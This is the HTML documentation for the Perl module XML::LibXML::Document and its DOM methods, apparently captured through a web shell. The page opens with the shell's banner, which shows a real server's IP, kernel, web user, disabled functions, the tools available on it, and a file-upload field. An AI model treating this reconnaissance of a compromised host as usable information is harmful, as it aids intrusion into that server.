Server IP : 85.214.239.14 / Your IP : 3.16.49.213 Web Server : Apache/2.4.62 (Debian) System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : www-data ( 33) PHP Version : 7.4.18 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : OFF | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /proc/2/task/2/root/proc/2/root/usr/share/doc/libxml-libxml-perl/examples/ |
Upload File : |
<?xml version="1.0" standalone="yes"?> <html><head><title>XML::LibXML::Document - DOM Document Class</title><link rev="made" href="mailto:root@updates.mandrakesoft.com"/></head><body><!-- INDEX BEGIN --><ul><li><a href="#NAME">NAME</a></li><li><a href="#SYNOPSIS">SYNOPSIS</a></li><li><a href="#DESCRIPTION">DESCRIPTION</a><ul><li><a href="#Methods">Methods</a></li></ul></li><li><a href="#SEE_ALSO">SEE ALSO</a></li><li><a href="#VERSION">VERSION</a></li></ul><!-- INDEX END --><hr/><p/><h1><a name="NAME">NAME</a></h1><p> XML::LibXML::Document - DOM Document Class </p><p/><hr/><h1><a name="SYNOPSIS">SYNOPSIS</a></h1><p/><pre> use XML::LibXML::Document; </pre><p/><pre> $dom = XML::LibXML::Document->new( $version, $encoding ); $dom = XML::LibXML::Document->createDocument( $version, $encoding ); $strEncoding = $doc->getEncoding(); $strVersion = $doc->getVersion(); $docstring = $dom->toString([$format]); $bool = $dom->is_valid(); $root = $dom->getDocumentElement($name, $namespace ); $dom->setDocumentElement( $root ); $element = $dom->createElement( $nodename ); $element = $dom->createElementNS( $namespaceURI, $qname ); $text = $dom->createTextNode( $content_text ); $comment = $dom->createComment( $comment_text ); $attrnode = $doc->createAttribute($name [,$value]); $attrnode = $doc->createAttributeNS( namespaceURI, $name [,$value] ); $cdata = $dom->create( $cdata_content ); $document->importNode( $node [, $move] ); </pre><p/><hr/><h1><a name="DESCRIPTION">DESCRIPTION</a></h1><p> The Document Class is the result of a parsing process. But sometimes it is necessary to create a Document from scratch. The DOM Document Class provides functions that are conform to the DOM Core naming style. It inherits all functions from <em>XML::LibXML::Node</em> as specified in DOM Level2. This enables to access the nodes beside the root element on document level - a <em>DTD</em> for example. The support for these nodes is limited at the moment, so I would recommend, not to use <em>node</em> functions on <em>documents</em>. It is suggested that one should always create a node not bound to any document. There is no need of really including the node to the document, but once the node is bound to a document, it is quite safe that all strings have the correct encoding. If an unbound textnode with an iso encoded string is created (e.g. with $CLASS->new()), the <em>toString</em> function may not return the expected result. This seems like a limitation as long UTF8 encoding is assured. If iso encoded strings come into play it is much safer to use the node creation functions of <strong>XML::LibXML::Document</strong>. </p><p/><hr/><h2><a name="Methods">Methods</a></h2><dl><dt><strong><a name="item_new">new</a></strong></dt><dd><p> alias for <code>createDocument()</code></p></dd><dt><strong><a name="item_createDocument">createDocument</a></strong></dt><dd><p> The constructor for the document class. As Parameter it takes the version string and (optionally) the ecoding string. Simply calling <strong>createDocument</strong> will create the document: </p><p/><pre> <?xml version="your version" encoding="your encoding"?> </pre><p> Both parameter are optional. The default value for <strong>$version</strong> is <em>1.0</em> , of course. If the <strong>$encoding</strong> parameter is not set, the encoding will be left unset, which means UTF8 is implied (and set). The call of <strong>createDocument</strong> without any parameter will result the following code: </p><p/><pre> <?xml version="1.0"?> </pre></dd><dt><strong><a name="item_getEncoding">getEncoding</a></strong></dt><dd><p> returns the encoding string of the document </p></dd><dt><strong><a name="item_getVersion">getVersion</a></strong></dt><dd><p> returns the version string of the document </p></dd><dt><strong><a name="item_toString">toString</a></strong></dt><dd><p><strong>toString</strong> is a deparsing function, so the DOM Tree can be translated into a string, ready for output. The optional <strong>$format</strong> parameter sets the indenting of the output. This parameter is expected to be an <em>integer</em> value, that specifies the number of linebreaks for each node. For more information about the formatted output check the documentation of <em>xmlDocDumpFormatMemory</em> in <em>libxml2/tree.h</em> . </p></dd><dt><strong><a name="item_is_valid">is_valid</a></strong></dt><dd><p> Returns either TRUE or FALSE depending on the DOM Tree is a valid Document or not. </p></dd><dt><strong><a name="item_getDocumentElement">getDocumentElement</a></strong></dt><dd><p> Returns the root element of the Document. A document can have just one root element to contain the documents data. </p></dd><dt><strong><a name="item_setDocumentElement">setDocumentElement</a></strong></dt><dd><p> This function enables you to set the root element for a document. The function supports the import of a node from a different document tree. </p></dd><dt><strong><a name="item_createElement">createElement</a></strong></dt><dd><p> This function creates a new Element Node bound to the DOM with the name <em>$nodename</em> . </p></dd><dt><strong><a name="item_createElementNS">createElementNS</a></strong></dt><dd><p> This function creates a new Element Node bound to the DOM with the name <em>$nodename</em> and placed in the given namespace. </p></dd><dt><strong><a name="item_createTextNode">createTextNode</a></strong></dt><dd><p> As an equivalent of <strong>createElement</strong> , but it creates a <strong>Text Node</strong> bound to the DOM. </p></dd><dt><strong><a name="item_createComment">createComment</a></strong></dt><dd><p> As an equivalent of <strong>createElement</strong> , but it creates a <strong>Comment Node</strong> bound to the DOM. </p></dd><dt><strong><a name="item_createAttribute">createAttribute</a></strong></dt><dd><p> Creates a new Attribute node. This function is rather useless at the moment, since there is no setAttributeNode function defined in <em>XML::LibXML::Element</em> , yet. </p></dd><dt><strong><a name="item_createAttributeNS">createAttributeNS</a></strong></dt><dd><p> Creates an Attribute bound to a namespace. </p></dd><dt><strong><a name="item_createCDATASection">createCDATASection</a></strong></dt><dd><p> Similar to createTextNode and createComment, this function creates a CDataSection bound to the current DOM. </p></dd><dt><strong><a name="item_importNode">importNode</a></strong></dt><dd><p> If a node is not part of a document, it can be imported to another document. As specified in DOM Level 2 Specification the Node will not be altered or removed from its original document by default. ( <em>$node-</em><code>cloneNode(1)></code> will get called implicitly). Sometimes it is necessary to <em>move</em> a node between documents. In such a case the node will not be copied, but removed from the original document. </p></dd></dl><p/><hr/><h1><a name="SEE_ALSO">SEE ALSO</a></h1><p> XML::LibXML, XML::LibXML::Element, XML::LibXML::Text, XML::LibXML::Attr, XML::LibXML::Comment </p><p/><hr/><h1><a name="VERSION">VERSION</a></h1><p> 0.90_a </p></body></html>